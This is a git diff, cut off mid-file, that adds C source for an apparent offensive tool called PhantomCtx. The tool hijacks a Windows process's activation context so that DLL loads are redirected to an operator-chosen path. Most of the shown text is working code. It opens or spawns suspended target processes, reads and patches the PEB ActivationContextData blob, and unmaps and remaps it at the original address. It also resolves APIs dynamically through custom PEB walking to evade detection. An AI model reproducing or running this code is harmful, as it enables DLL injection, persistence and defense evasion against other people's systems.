PEB+0x2F8 (ActivationContextData) - this is the kernel-set address + PVOID originalAddr = NULL; + SIZE_T bytesRead = 0; + status = pNtReadVirtualMemory(hProcess, (PVOID)((ULONG_PTR)pbi.PebBaseAddress + 0x2F8), &originalAddr, sizeof(PVOID), &bytesRead); + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtReadVirtualMemory (PEB.ActivationContextData) failed: 0x%08lX\n", status); + return status; + } + printf("[INFO] Original PEB.ActivationContextData = %p\n", originalAddr); + + // Create an anonymous page-file-backed section sized to our patched blob + LARGE_INTEGER secSize; + secSize.QuadPart = (LONGLONG)actCtxSize; + HANDLE hSection = NULL; + status = pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &secSize, PAGE_READWRITE, SEC_COMMIT, NULL); + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtCreateSection failed: 0x%08lX\n", status); + return status; + } + + // Map the section locally and copy the patched blob into it + PVOID localView = NULL; + SIZE_T localViewSize = 0; + status = pNtMapViewOfSection(hSection, NtCurrentProcess(), &localView, 0, 0, NULL, &localViewSize, ViewUnmap, 0, PAGE_READWRITE); + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtMapViewOfSection (local) failed: 0x%08lX\n", status); + CloseHandle(hSection); + return status; + } + memcpy(localView, actCtxBlob, actCtxSize); + pNtUnmapViewOfSection(NtCurrentProcess(), localView); + printf("[SUCCESS] Patched blob written to section (%zu bytes)\n", actCtxSize); + + // Unmap the original kernel-mapped ActivationContextData region + status = pNtUnmapViewOfSection(hProcess, originalAddr); + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtUnmapViewOfSection (original) failed: 0x%08lX\n", status); + CloseHandle(hSection); + return status; + } + printf("[SUCCESS] Original Activation Context region unmapped @ %p\n", originalAddr); + + // Remap our section at the exact same address - PEB pointer stays valid + PVOID remoteBase = originalAddr; + SIZE_T remoteViewSize = 0; + status = pNtMapViewOfSection(hSection, hProcess, &remoteBase, 0, 0, NULL, &remoteViewSize, ViewUnmap, 0, PAGE_READWRITE); + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtMapViewOfSection (remote) failed: 0x%08lX\n", status); + CloseHandle(hSection); + return status; + } + printf("[SUCCESS] Patched Activation Context mapped at %p (same address)\n", remoteBase); + + CloseHandle(hSection); + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/PhantomCtx/common/actctx.h b/PhantomCtx/common/actctx.h new file mode 100644 index 0000000..7f8057c --- /dev/null +++ b/PhantomCtx/common/actctx.h @@ -0,0 +1,71 @@ +#pragma once +#include +#include "ntdefs.h" + +#define EXTRA_BYTES 512 // extra space for PatchDllRedirectionEntry +#define EXTRA_BYTES_ADD 1024 // extra space for AddDllRedirectionEntry + +void* CopyRemoteActCtxByHandle( + fnNtQueryInformationProcess pNtQueryInformationProcess, + fnNtReadVirtualMemory pNtReadVirtualMemory, + HANDLE hProcess, + PSIZE_T actCtxSize +); + +static int bounds_ok( + const BYTE* blob, + ULONG totalSize, + ULONG offset, + ULONG size +); + +static void print_wcs( + const WCHAR* ws, + ULONG byteLen +); + +static WCHAR* assemble_path( + const BYTE* B1, + ULONG b1Offset, + const ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION* redir, + ULONG totalSize +); + +void ParseDllRedirections( + const BYTE* blob, + ULONG totalSize +); + +ULONG PatchDllRedirectionEntry( + BYTE* blob, + ULONG totalSize, + ULONG entryIdx, + const WCHAR* redirectPath +); + +ULONG AddDllRedirectionEntry( + BYTE* blob, + ULONG totalSize, + const WCHAR* dllName, + const WCHAR* redirectPath, + ULONG rosterIdx +); + +ULONG PatchOrAddDllRedirection( + BYTE* blob, + ULONG totalSize, + const WCHAR* dllName, + const WCHAR* redirectPath, + ULONG rosterIdx +); + +NTSTATUS HijackActCtx( + fnNtReadVirtualMemory pNtReadVirtualMemory, + fnNtCreateSection pNtCreateSection, + fnNtMapViewOfSection pNtMapViewOfSection, + fnNtUnmapViewOfSection pNtUnmapViewOfSection, + fnNtQueryInformationProcess pNtQueryInformationProcess, + HANDLE hProcess, + void* actCtxBlob, + SIZE_T actCtxSize +); \ No newline at end of file diff --git a/PhantomCtx/common/c_runtime.c b/PhantomCtx/common/c_runtime.c new file mode 100644 index 0000000..9583ed2 --- /dev/null +++ b/PhantomCtx/common/c_runtime.c @@ -0,0 +1,63 @@ +#include +#include + +#include "c_runtime.h" + +// Translate char to wchar_t strings +wchar_t *phantom_char_to_wchar_ascii(const char *src) { + if (!src) return NULL; + + size_t len = 0; + while (src[len]) len++; + + wchar_t *dst = malloc((len + 1) * sizeof(wchar_t)); + if (!dst) return NULL; + + for (size_t i = 0; i < len; i++) + dst[i] = (wchar_t)(unsigned char)src[i]; // (unsigned char) avoids sign extension for bytes > 127 + dst[len] = L'\0'; + + return dst; +} + +// Custom wcscmp +int phantom_wcscmp(const wchar_t *s1, const wchar_t *s2) { + while (*s1 && (*s1 == *s2)) { + s1++; + s2++; + } + return (int)(*s1 - *s2); +} + +// Custom lstrcmpiW +static wchar_t phantom_to_lower_w(wchar_t c) +{ + if (c >= L'A' && c <= L'Z') + return c + (L'a' - L'A'); + return c; +} + +int phantom_lstrcmpiW(const wchar_t *s1, const wchar_t *s2) +{ + if (!s1 && !s2) return 0; + if (!s1) return -1; + if (!s2) return 1; + + while (*s1 && *s2) + { + wchar_t c1 = phantom_to_lower_w(*s1); + wchar_t c2 = phantom_to_lower_w(*s2); + + if (c1 != c2) + return (c1 > c2) ? 1 : -1; + + s1++; + s2++; + } + + wchar_t c1 = phantom_to_lower_w(*s1); + wchar_t c2 = phantom_to_lower_w(*s2); + + if (c1 == c2) return 0; + return (c1 > c2) ? 1 : -1; +} \ No newline at end of file diff --git a/PhantomCtx/common/c_runtime.h b/PhantomCtx/common/c_runtime.h new file mode 100644 index 0000000..ad28b4a --- /dev/null +++ b/PhantomCtx/common/c_runtime.h @@ -0,0 +1,21 @@ +#pragma once +#include + +// Custom C-RunTime functions +wchar_t *phantom_char_to_wchar_ascii( + const char *src +); + +int phantom_wcscmp( + const wchar_t *s1, + const wchar_t *s2 +); + +static wchar_t phantom_to_lower_w( + wchar_t c +); + +int phantom_lstrcmpiW( + const wchar_t *s1, + const wchar_t *s2 +); \ No newline at end of file diff --git a/PhantomCtx/common/dynamic_resolution.c b/PhantomCtx/common/dynamic_resolution.c new file mode 100644 index 0000000..9b25e6c --- /dev/null +++ b/PhantomCtx/common/dynamic_resolution.c @@ -0,0 +1,56 @@ +#include +#include +#include "c_runtime.h" + +// Custom implementation of GetModuleHandleW +HMODULE phantom_GetModuleHandleW(IN LPCWSTR szModuleName) { + // Indirect PEB access + PTEB pTeb = (PTEB)_readgsbase_u64(); + PPEB pPeb = *(PPEB*)((BYTE*)pTeb + 0x60); + PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)(pPeb->Ldr->InMemoryOrderModuleList.Flink); + PLIST_ENTRY pListHead = (PLIST_ENTRY)&pPeb->Ldr->InMemoryOrderModuleList; + PLIST_ENTRY pListNode = (PLIST_ENTRY)pListHead->Flink; + + do { + if (pDte->FullDllName.Length != 0) { + + // Extract filename from full path (find last backslash) + WCHAR* fullName = pDte->FullDllName.Buffer; + WCHAR* fileName = fullName; + for (WCHAR* p = fullName; *p; p++) { + if (*p == L'\\') fileName = p + 1; + } + + // Case-insensitive compare against filename only + if (phantom_lstrcmpiW(fileName, szModuleName) == 0) { + return (HMODULE)(pDte->Reserved2[0]); + } + + // Advance to next entry + pDte = (PLDR_DATA_TABLE_ENTRY)(pListNode->Flink); + pListNode = (PLIST_ENTRY)pListNode->Flink; + } + } while (pListNode != pListHead); + + return NULL; +} + +// Custom implementation of GetProcAddressA +FARPROC phantom_GetProcAddressA(HMODULE hModule, LPCSTR lpProcName) { + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; + PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew); + PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hModule + + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); + + DWORD* addressOfFunctions = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfFunctions); + WORD* addressOfNameOrdinals = (WORD*)((BYTE*)hModule + exportDirectory->AddressOfNameOrdinals); + DWORD* addressOfNames = (DWORD*)((BYTE*)hModule + exportDirectory->AddressOfNames); + + for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i) { + if (strcmp(lpProcName, (const char*)hModule + addressOfNames[i]) == 0) { + return (FARPROC)((BYTE*)hModule + addressOfFunctions[addressOfNameOrdinals[i]]); + } + } + + return NULL; +} \ No newline at end of file diff --git a/PhantomCtx/common/dynamic_resolution.h b/PhantomCtx/common/dynamic_resolution.h new file mode 100644 index 0000000..c4c764e --- /dev/null +++ b/PhantomCtx/common/dynamic_resolution.h @@ -0,0 +1,11 @@ +#pragma once +#include + +HMODULE phantom_GetModuleHandleW( + LPCWSTR szModuleName +); + +FARPROC phantom_GetProcAddressA( + HMODULE hModule, + LPCSTR lpProcName +); diff --git a/PhantomCtx/common/ntdefs.h b/PhantomCtx/common/ntdefs.h new file mode 100644 index 0000000..a4ef403 --- /dev/null +++ b/PhantomCtx/common/ntdefs.h @@ -0,0 +1,194 @@ +#pragma once +#include +#include + +/************************* Defines *************************/ + +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) + +#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1) + +#define PCLIENT_ID CLIENT_ID* + +/* Activation Context related */ +#define ACTX_MAGIC 0x78746341UL /* "Actx" */ +#define STRING_SECTION_MAGIC 0x64487353UL /* "SsHd" */ + +#ifndef ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION +#define ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION 2 +#endif + +#ifndef ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE +#define ACTIVATION_CONTEXT_SECTION_FORMAT_STRING_TABLE 1 +#endif + +// Manifest DLL Redirection flags +#define ACTX_DLL_REDIR_PATH_INCLUDES_BASE_NAME 0x00000001 +#define ACTX_DLL_REDIR_OMITS_ASSEMBLY_ROOT 0x00000002 +#define ACTX_DLL_REDIR_EXPAND 0x00000004 +#define ACTX_DLL_REDIR_SYSTEM_DEFAULT_REDIRECTED 0x00000008 + +// Given a Activation Context blob base pointer and a byte offset, returns a pointer of type T (specified by user). +// Avoids repeating the (T*)((BYTE*)(base) + offset) pattern everywhere. +#define BLOB_PTR(base, offset, T) \ + ((T*)((BYTE*)(base) + (offset))) + +/************************* Enums *************************/ + +typedef enum _SECTION_INHERIT +{ + ViewShare = 1, // The mapped view of the section will be mapped into any child processes created by the process. + ViewUnmap = 2 // The mapped view of the section will not be mapped into any child processes created by the process. +} SECTION_INHERIT; + +/************************* Structs *************************/ + +typedef struct _ACTIVATION_CONTEXT_DATA +{ + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG TotalSize; + ULONG DefaultTocOffset; // to ACTIVATION_CONTEXT_DATA_TOC_HEADER + ULONG ExtendedTocOffset; // to ACTIVATION_CONTEXT_DATA_EXTENDED_TOC_HEADER + ULONG AssemblyRosterOffset; // to ACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER + ULONG Flags; // ACTIVATION_CONTEXT_FLAG_* +} ACTIVATION_CONTEXT_DATA, *PACTIVATION_CONTEXT_DATA; + +typedef struct _ACTIVATION_CONTEXT_DATA_TOC_HEADER { + ULONG HeaderSize; + ULONG EntryCount; + ULONG FirstEntryOffset; // from B0 + ULONG Flags; +} ACTIVATION_CONTEXT_DATA_TOC_HEADER; + +typedef struct _ACTIVATION_CONTEXT_DATA_TOC_ENTRY { + ULONG Id; + ULONG Offset; // from B0 + ULONG Length; + ULONG Format; +} ACTIVATION_CONTEXT_DATA_TOC_ENTRY; + +typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_HEADER { + ULONG Magic; + ULONG HeaderSize; + ULONG FormatVersion; + ULONG DataFormatVersion; + ULONG Flags; + ULONG ElementCount; + ULONG ElementListOffset; // from B1 + ULONG HashAlgorithm; + ULONG SearchStructureOffset; // from B1 + ULONG UserDataOffset; // from B1 + ULONG UserDataSize; +} ACTIVATION_CONTEXT_STRING_SECTION_HEADER; + +typedef struct _ACTIVATION_CONTEXT_STRING_SECTION_ENTRY { + ULONG PseudoKey; + ULONG KeyOffset; // from B1 + ULONG KeyLength; // in bytes + ULONG Offset; // from B1 + ULONG Length; + ULONG AssemblyRosterIndex; +} ACTIVATION_CONTEXT_STRING_SECTION_ENTRY; + +typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION { + ULONG Size; + ULONG Flags; + ULONG TotalPathLength; // in bytes + ULONG PathSegmentCount; + ULONG PathSegmentOffset; // from B1 +} ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION; + +typedef struct _ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT { + ULONG Length; // in bytes + ULONG Offset; // from B1 +} ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT; + + +/************************* NT Function Typedefs *************************/ + +// CreateProcessW from kernel32.dll +typedef BOOL (*fnCreateProcessW)( + LPCWSTR lpApplicationName, + LPWSTR lpCommandLine, + LPSECURITY_ATTRIBUTES lpProcessAttributes, + LPSECURITY_ATTRIBUTES lpThreadAttributes, + BOOL bInheritHandles, + DWORD dwCreationFlags, + LPVOID lpEnvironment, + LPCWSTR lpCurrentDirectory, + LPSTARTUPINFOW lpStartupInfo, + LPPROCESS_INFORMATION lpProcessInformation +); + +// ResumeThread from kernel32.dll +typedef DWORD (*fnResumeThread)( + HANDLE hThread +); + +// NtQueryInformationProcess +typedef NTSTATUS (*fnNtQueryInformationProcess)( + HANDLE ProcessHandle, + PROCESSINFOCLASS ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength +); + +// NtReadVirtualMemory +typedef NTSTATUS (*fnNtReadVirtualMemory)( + HANDLE ProcessHandle, + PVOID BaseAddress, + PVOID Buffer, + SIZE_T NumberOfBytesToRead, + PSIZE_T NumberOfBytesRead +); + +// NtQuerySystemInformation +typedef NTSTATUS (*fnNtQuerySystemInformation)( + SYSTEM_INFORMATION_CLASS SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength +); + +// NtOpenProcess +typedef NTSTATUS (*fnNtOpenProcess)( + PHANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PCLIENT_ID ClientId +); + +// NtCreateSection +typedef NTSTATUS (*fnNtCreateSection)( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PLARGE_INTEGER MaximumSize, + ULONG SectionPageProtection, + ULONG AllocationAttributes, + HANDLE FileHandle +); + +// NtMapViewOfSection +typedef NTSTATUS (*fnNtMapViewOfSection)( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG_PTR ZeroBits, + SIZE_T CommitSize, + PLARGE_INTEGER SectionOffset, + PSIZE_T ViewSize, + SECTION_INHERIT InheritDisposition, + ULONG AllocationType, + ULONG PageProtection +); + +// NtUnmapViewOfSection +typedef NTSTATUS (NTAPI *fnNtUnmapViewOfSection)( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress +); \ No newline at end of file diff --git a/PhantomCtx/common/process_utils.c b/PhantomCtx/common/process_utils.c new file mode 100644 index 0000000..a58a3a8 --- /dev/null +++ b/PhantomCtx/common/process_utils.c @@ -0,0 +1,85 @@ +#include +#include + +#include "c_runtime.h" +#include "process_utils.h" +#include "ntdefs.h" + +// Opens a handle to a process by PID with the specified access rights +HANDLE GetProcessHandleByPid(fnNtOpenProcess pNtOpenProcess, DWORD pid, ACCESS_MASK desiredAccess){ + + NTSTATUS status = 0; + + // Process Info + HANDLE hProcess = NULL; + OBJECT_ATTRIBUTES objPsAttr; + InitializeObjectAttributes(&objPsAttr, NULL, 0, NULL, NULL); + CLIENT_ID clientId = {(HANDLE)(ULONG_PTR)pid, (HANDLE)0}; + + // Get Remote Process Handle + status = pNtOpenProcess(&hProcess, desiredAccess, &objPsAttr, &clientId); + + if (!NT_SUCCESS(status)) { + printf("[ERROR] NtOpenProcess failed. Status: 0x%08lX\n", (unsigned long)status); + return NULL; + } + + printf("[SUCCESS] Opened handle to PID %u\n", pid); + + return hProcess; +} + +// Finds a process by name in the system process list and returns a handle with the specified access rights +HANDLE GetProcessHandleByName( + fnNtQuerySystemInformation pNtQuerySystemInformation, + fnNtOpenProcess pNtOpenProcess, + const WCHAR* ps_name, + ACCESS_MASK desiredAccess +){ + NTSTATUS status = 0; + + // NtQuerySystemInformation required vars + DWORD pid = 0; + void* outbuffer = NULL; + ULONG outbuff_size = 0; + + // Find out required buffer size + pNtQuerySystemInformation(SystemProcessInformation, NULL, 0, &outbuff_size); + + // Allocate output buffer memory and call the function again + outbuffer = malloc(outbuff_size); + pNtQuerySystemInformation(SystemProcessInformation, outbuffer, outbuff_size, &outbuff_size); + + PSYSTEM_PROCESS_INFORMATION spi = outbuffer; + + // Walk process list and match by ImageName + while (1) { + if (spi->ImageName.Buffer != NULL && + phantom_lstrcmpiW(spi->ImageName.Buffer, ps_name) == 0) { + pid = (DWORD)(ULONG_PTR)spi->UniqueProcessId; + break; + } + if (spi->NextEntryOffset == 0) + break; + spi = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)spi + spi->NextEntryOffset); + } + + free(outbuffer); + + if(!pid){ + printf("[ERROR] Couldn't identify PID for process '%ls'\n", ps_name); + return (HANDLE)0; + } + + printf("[SUCCESS] Found '%ls' PID %lu\n", ps_name, pid); + + // Delegate handle opening to GetProcessHandleByPid + HANDLE hProcess = GetProcessHandleByPid(pNtOpenProcess, pid, desiredAccess); + + if (!hProcess) { + printf("[ERROR] Couldn't get process handle for '%ls'\n", ps_name); + return (HANDLE)0; + } + + return hProcess; +} \ No newline at end of file diff --git a/PhantomCtx/common/process_utils.h b/PhantomCtx/common/process_utils.h new file mode 100644 index 0000000..0116aa5 --- /dev/null +++ b/PhantomCtx/common/process_utils.h @@ -0,0 +1,16 @@ +#pragma once +#include +#include "ntdefs.h" + +HANDLE GetProcessHandleByPid( + fnNtOpenProcess pNtOpenProcess, + DWORD pid, + ACCESS_MASK desiredAccess +); + +HANDLE GetProcessHandleByName( + fnNtQuerySystemInformation pNtQuerySystemInformation, + fnNtOpenProcess pNtOpenProcess, + const WCHAR* targetName, + ACCESS_MASK desiredAccess +); \ No newline at end of file diff --git a/PhantomCtx/main.c b/PhantomCtx/main.c new file mode 100644 index 0000000..51f77cb --- /dev/null +++ b/PhantomCtx/main.c @@ -0,0 +1,241 @@ +#include +#include + +#include "utils\utils.h" +#include "recon\recon.h" +#include "spawn\spawn.h" +#include "runtime\runtime.h" + +// Returns the value of a flag, or NULL if not found +char* getArg(int argc, char** argv, const char* flag) { + for (int i = 1; i < argc - 1; i++) { + if (strcmp(argv[i], flag) == 0) { + return argv[i + 1]; + } + } + return NULL; +} + +// Returns TRUE if a flag exists +BOOL hasArg(int argc, char** argv, const char* flag) { + for (int i = 1; i < argc; i++) { + if (strcmp(argv[i], flag) == 0) return TRUE; + } + return FALSE; +} + +// Validates that no unknown flags are present for a given mode +// validFlags: NULL-terminated array of valid flag strings +BOOL validateArgs(int argc, char** argv, const char** validFlags) { + for (int i = 1; i < argc; i++) { + if (argv[i][0] == '-') { + BOOL known = FALSE; + for (int j = 0; validFlags[j] != NULL; j++) { + if (strcmp(argv[i], validFlags[j]) == 0) { + known = TRUE; + break; + } + } + if (!known) { + fprintf(stderr, "[ERROR] Unknown argument '%s'.\n\n", argv[i]); + return FALSE; + } + if (i + 1 < argc) i++; // skip flag value if present + } else if (i > 1 && + strcmp(argv[i - 1], "-m") != 0 && + strcmp(argv[i - 1], "-s") != 0 && + strcmp(argv[i - 1], "-p") != 0) { + fprintf(stderr, "[ERROR] Unexpected argument '%s'.\n\n", argv[i]); + return FALSE; + } + } + return TRUE; +} + +int main(int argc, char** argv) { + + if (argc < 2) { + helpPanel(); + return 0; + } + + // Global --help/-h without -m + if (!hasArg(argc, argv, "-m")) { + if (hasArg(argc, argv, "--help") || hasArg(argc, argv, "-h")) { + helpPanel(); + return 0; + } + fprintf(stderr, "[ERROR] No mode specified. Use -m [MODE].\n\n"); + helpPanel(); + return 1; + } + + // Parse -m [MODE] + char* mode = getArg(argc, argv, "-m"); + if (mode == NULL) { + fprintf(stderr, "[ERROR] -m requires a mode argument.\n\n"); + helpPanel(); + return 1; + } + + BOOL wantsHelp = hasArg(argc, argv, "--help") || hasArg(argc, argv, "-h"); + + // ------------------------------------------------------------------------- + // MODE: recon + // ------------------------------------------------------------------------- + if (strcmp(mode, "recon") == 0) { + + if (wantsHelp || argc < 4) { helpPanelRecon(); return 0; } + + const char* validFlags[] = { "-m", "-s", "-p", "--help", "-h", NULL }; + if (!validateArgs(argc, argv, validFlags)) { + helpPanelRecon(); + return 1; + } + + char* submode = getArg(argc, argv, "-s"); + if (submode == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n"); + fprintf(stderr, " Use '-m recon -s spawn' or '-m recon -s runtime'.\n\n"); + helpPanelRecon(); + return 1; + } + if (strcmp(submode, "spawn") != 0 && strcmp(submode, "runtime") != 0) { + fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode); + fprintf(stderr, " Valid submodes: spawn, runtime.\n\n"); + helpPanelRecon(); + return 1; + } + + char* target = getArg(argc, argv, "-p"); + if (target == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -p [PID|PATH].\n\n"); + helpPanelRecon(); + return 1; + } + + modeRecon(submode, target); + + // ------------------------------------------------------------------------- + // MODE: spawn + // ------------------------------------------------------------------------- + } else if (strcmp(mode, "spawn") == 0) { + + if (wantsHelp || argc < 4) { helpPanelSpawn(); return 0; } + + const char* validFlags[] = { "-m", "-s", "-p", "-d", "--dll-path", "--steal-from", "--help", "-h", NULL }; + if (!validateArgs(argc, argv, validFlags)) { + helpPanelSpawn(); + return 1; + } + + char* submode = getArg(argc, argv, "-s"); + char* target = getArg(argc, argv, "-p"); + char* dllName = getArg(argc, argv, "-d"); + char* dllPath = getArg(argc, argv, "--dll-path"); + char* stealFrom = getArg(argc, argv, "--steal-from"); + + if (submode == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n"); + fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n"); + helpPanelSpawn(); + return 1; + } + if (strcmp(submode, "steal-context") != 0 && + strcmp(submode, "add-entry") != 0 && + strcmp(submode, "patch-entry") != 0) { + fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode); + fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n"); + helpPanelSpawn(); + return 1; + } + if (target == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -p .\n\n"); + helpPanelSpawn(); + return 1; + } + if (dllName == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -d .\n\n"); + helpPanelSpawn(); + return 1; + } + if (dllPath == NULL) { + fprintf(stderr, "[ERROR] Missing required argument --dll-path .\n\n"); + helpPanelSpawn(); + return 1; + } + if (strcmp(submode, "steal-context") == 0 && stealFrom == NULL) { + fprintf(stderr, "[ERROR] Submode 'steal-context' requires --steal-from .\n\n"); + helpPanelSpawn(); + return 1; + } + + modeSpawn(submode, target, dllName, dllPath, stealFrom); + + // ------------------------------------------------------------------------- + // MODE: runtime + // ------------------------------------------------------------------------- + } else if (strcmp(mode, "runtime") == 0) { + + if (wantsHelp || argc < 4) { helpPanelRuntime(); return 0; } + + const char* validFlags[] = { "-m", "-s", "-p", "-d", "--dll-path", "--steal-from", "--help", "-h", NULL }; + if (!validateArgs(argc, argv, validFlags)) { + helpPanelRuntime(); + return 1; + } + + char* submode = getArg(argc, argv, "-s"); + char* target = getArg(argc, argv, "-p"); + char* dllName = getArg(argc, argv, "-d"); + char* dllPath = getArg(argc, argv, "--dll-path"); + char* stealFrom = getArg(argc, argv, "--steal-from"); + + if (submode == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -s [SUBMODE].\n"); + fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n"); + helpPanelRuntime(); + return 1; + } + if (strcmp(submode, "steal-context") != 0 && + strcmp(submode, "add-entry") != 0 && + strcmp(submode, "patch-entry") != 0) { + fprintf(stderr, "[ERROR] Unknown submode '%s'.\n", submode); + fprintf(stderr, " Valid submodes: steal-context, add-entry, patch-entry.\n\n"); + helpPanelRuntime(); + return 1; + } + if (target == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -p .\n\n"); + helpPanelRuntime(); + return 1; + } + if (dllName == NULL) { + fprintf(stderr, "[ERROR] Missing required argument -d .\n\n"); + helpPanelRuntime(); + return 1; + } + if (dllPath == NULL) { + fprintf(stderr, "[ERROR] Missing required argument --dll-path .\n\n"); + helpPanelRuntime(); + return 1; + } + if (strcmp(submode, "steal-context") == 0 && stealFrom == NULL) { + fprintf(stderr, "[ERROR] Submode 'steal-context' requires --steal-from .\n\n"); + helpPanelRuntime(); + return 1; + } + + modeRuntime(submode, target, dllName, dllPath, stealFrom); + + // ------------------------------------------------------------------------- + // Unknown mode + // ------------------------------------------------------------------------- + } else { + fprintf(stderr, "[ERROR] Unknown mode '%s'.\n\n", mode); + helpPanel(); + return 1; + } + + return 0; +} \ No newline at end of file diff --git a/PhantomCtx/recon/recon.c b/PhantomCtx/recon/recon.c new file mode 100644 index 0000000..aaac1f0 --- /dev/null +++ b/PhantomCtx/recon/recon.c @@ -0,0 +1,156 @@ +#include +#include + +#include "recon.h" +#include "..\common\dynamic_resolution.h" +#include "..\common\c_runtime.h" +#include "..\common\ntdefs.h" +#include "..\common\actctx.h" +#include "..\common\process_utils.h" + +BOOL reconSpawn(const char* targetPath){ + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hKernel32 = phantom_GetModuleHandleW(L"kernel32.dll"); + + if(!hKernel32){ + printf("[ERROR] Couldn't get 'kernel32.dll' handle.\n"); + return FALSE; + } + + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + + if(!hNtdll){ + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnCreateProcessW pCreateProcessW = (fnCreateProcessW)phantom_GetProcAddressA(hKernel32, "CreateProcessW"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + + if(!pCreateProcessW || !pNtReadVirtualMemory || !pNtQueryInformationProcess){ + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Launch target process in suspended state + WCHAR* widePath = phantom_char_to_wchar_ascii(targetPath); + STARTUPINFOW si = { 0 }; + si.cb = sizeof(STARTUPINFOW); + PROCESS_INFORMATION pi = { 0 }; + + BOOL result = pCreateProcessW( + NULL, + widePath, + NULL, + NULL, + FALSE, + CREATE_SUSPENDED, + NULL, + NULL, + &si, + &pi + ); + + free(widePath); + + if (!result) { + printf("[ERROR] CreateProcessW failed: %u\n", GetLastError()); + return FALSE; + } + + printf("[SUCCESS] Suspended process created...\n"); + + // Copy ACTIVATION_CONTEXT_DATA blob from target process to local heap buffer + SIZE_T actCtxSize = 0; + void* actCtxBlob = CopyRemoteActCtxByHandle(pNtQueryInformationProcess, pNtReadVirtualMemory, pi.hProcess, &actCtxSize); + + if(!actCtxBlob){ + printf("[ERROR] Failed to copy Activation Context Data blob to local process buffer.\n"); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return FALSE; + } + + // Parse TOC entries and DLL redirection section from the Activation Context Data blob + ParseDllRedirections((const BYTE*)actCtxBlob, (ULONG)actCtxSize); + + // Cleanup + HeapFree(GetProcessHeap(), 0, actCtxBlob); + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + + return TRUE; +} + +BOOL reconRuntime(const char* processName){ + + // Dynamic module address resolution using custom implementation of GetModuleHandleW + HMODULE hNtdll = phantom_GetModuleHandleW(L"ntdll.dll"); + + if(!hNtdll){ + printf("[ERROR] Couldn't get 'ntdll.dll' handle.\n"); + return FALSE; + } + + // Dynamic function address resolution using custom implementation of GetProcAddressA + fnNtQuerySystemInformation pNtQuerySystemInformation = (fnNtQuerySystemInformation)phantom_GetProcAddressA(hNtdll, "NtQuerySystemInformation"); + fnNtOpenProcess pNtOpenProcess = (fnNtOpenProcess)phantom_GetProcAddressA(hNtdll, "NtOpenProcess"); + fnNtReadVirtualMemory pNtReadVirtualMemory = (fnNtReadVirtualMemory)phantom_GetProcAddressA(hNtdll, "NtReadVirtualMemory"); + fnNtQueryInformationProcess pNtQueryInformationProcess = (fnNtQueryInformationProcess)phantom_GetProcAddressA(hNtdll, "NtQueryInformationProcess"); + + + if(!pNtQuerySystemInformation || !pNtOpenProcess || !pNtReadVirtualMemory || !pNtQueryInformationProcess){ + printf("[ERROR] Dynamic function address resolution failed.\n"); + return FALSE; + } + + // Get target process handle specifying the name + WCHAR* ps_name = phantom_char_to_wchar_ascii(processName); + HANDLE hProcess 